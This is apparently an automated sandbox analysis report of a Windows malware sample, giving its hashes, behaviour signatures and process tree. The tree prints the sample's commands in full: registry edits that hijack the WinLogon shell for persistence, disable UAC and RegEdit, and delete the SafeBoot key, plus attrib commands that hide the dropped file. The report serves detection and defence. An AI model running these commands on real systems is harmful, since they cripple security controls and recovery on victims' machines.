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Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21/09/2024, 00:56

General

  • Target

    eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe

  • Size

    217KB

  • MD5

    eec4b4c99ef12c3af34dbceb9bba0bd3

  • SHA1

    5cdb384dc1b13b32fccb078093b8e7ea25c68053

  • SHA256

    980d2ecca216194eb70a3cb502f039589f9a0c2b4fb37392c19144527423ea55

  • SHA512

    92b3947cf1296b7fa9a899c4552ac74c406adda9df174155169f957e1c10a68c49dc856edb95ef25de1ea2e3bfa828f5e121415e3f1cb3587e49f89e9d55226b

  • SSDEEP

    6144:OQVHddxtFrchQzcp63BkJhysb6PAE30aT:t59tFrcagQMynB

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2412
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3040
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\eec4b4c99ef12c3af34dbceb9bba0bd3_JaffaCakes118.exe" "C:\Program Files\Common Files\Boot\svhost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: RenamesItself
          PID:2732
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\SysWOW64\reg.exe
        reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\SysWOW64\reg.exe
        reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\Boot\svhost.exe" /f
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:2880
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        3⤵
        • UAC bypass
        • System Location Discovery: System Language Discovery
        • Modifies registry key
        PID:2060
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
        3⤵
        • Disables RegEdit via registry modification
        • System Location Discovery: System Language Discovery
        PID:2756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1032
      • C:\Windows\SysWOW64\reg.exe
        reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      PID:1284
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h "C:\Program Files\Common Files\Boot\svhost.exe"
        3⤵
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\Boot"
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2812
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h "C:\Program Files\Common Files\Boot"
        3⤵
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2896

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2032-0-0x0000000000400000-0x0000000000D57000-memory.dmp

    Filesize

    9.3MB

  • memory/2032-1-0x0000000000400000-0x0000000000D57000-memory.dmp

    Filesize

    9.3MB

  • memory/2032-2-0x0000000000400000-0x0000000000D57000-memory.dmp

    Filesize

    9.3MB

  • memory/2032-4-0x0000000000400000-0x0000000000D57000-memory.dmp

    Filesize

    9.3MB